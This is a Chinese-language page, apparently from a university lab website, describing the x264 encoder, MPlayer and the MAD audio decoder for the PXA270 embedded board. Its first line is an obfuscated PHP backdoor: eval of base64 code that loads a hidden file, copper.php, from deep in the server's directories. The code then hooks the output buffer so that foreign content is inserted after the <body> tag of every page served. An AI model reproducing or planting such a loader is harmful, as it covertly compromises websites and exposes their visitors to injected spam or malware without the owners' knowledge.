/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy9odG1sL2NoaW5lc2UvcGNjaGFuZy9jb3Vyc2U5NmIvdnE5Ny9Db21wcmVzcy9tcGVnYXVkaW8vX3Z0aV9wdnQvX3Z0aV9jbmYvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L2h0bWwvY2hpbmVzZS9wY2NoYW5nL2NvdXJzZTk2Yi92cTk3L0NvbXByZXNzL21wZWdhdWRpby9fdnRpX3B2dC9fdnRpX2NuZi9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
- 首頁
- 前言
- 研究目的
- 視訊編碼
- 嵌入式系統
- 使用軟體
- 操作平台
- x.264編譯流程
- MPlayer編譯流程
- 心得報告
- 參考資料
5. 使用軟體
5.1 x.264
x264是由Laurent Aimar、Eric Petit、Min Chen、Justin Clay、Mans Rullgard、Loren Merritt開發出的編碼軟體,並透過GPL授權公開原始碼。在2005 December 12得到MSU MPEG-4 AVC/ H.264 codecs comparison第一名,又在2005 December 26得過Doom9's 2005 codec shoot-out第一名,為今日所有公開原始碼H.264編碼器中效能最佳者,為免付費編碼器之首選。
5.2 MPlayer
MPlayer是一個公開源始碼軟體,使用GPL方式授權,支援Windows、MAC OS X、Unix-Like 作業系統。公開源始碼的特性使得MPlayer有對使用者來說有更大的彈性,可以據使用者的需求修改功能或是連結需要的Library。
●3gp、avi、asf、flv、mkv、mov、mp4、nut、ogg、ogm、rm、rmvb…等
●視訊編碼支援Cinepak、DV、H.263、H.264/MPEG-4 AVC、HuffYUV、Indeo、MJPEG、MPEG-1、MPEG-2、MPEG-4 Part 2、RealVideo、Sorenson、Theora、WindowsMediaVideo
●聲音格式支援AAC、AC3、ALAC、AMR、FLAC、Intel Music Coder、MP3、RealAudio、Shorten、Speex、Vorbis、WindowsMediaAudio
可以在Unix-like作業系統環境下使用Shell或在Windows環境下執行命令提示字元並輸入指令來操作MPlayer。除此之外MPlayer也支援不同平台的圖形介面(GUI)以提供使用者一個方便的操作介面:gmplayer是比較常見的GUI MPlayer,提供Unix-Like作業系統使用者方便使用MPlayer;MPlayer OS X在Mac OS X作業平台下使用;MPUI和WinMPLauncher在Windows作業平台下使用。
5.2.1 MPGE Audio Deocder
MPEG Audio Decoder縮寫MAD,支援MPEG-1以及MPEG-2以及MPEG 2.5的聲音格式,和一般常用的mp3lib最大的不同是MAD使用整數運算(fixed-point)作為解碼,因為PXA270嵌入式系統不支援浮點運算(floating-point),所以mp3lib無法在PXA270嵌入式系統上面執行,MAD的特性使得mp3等聲音格式可以在PXA270嵌入式系統上面運算,MAD使用GPL的授權方式。
Copyright © 國立中央大學通訊工程學系 音視訊處理實驗室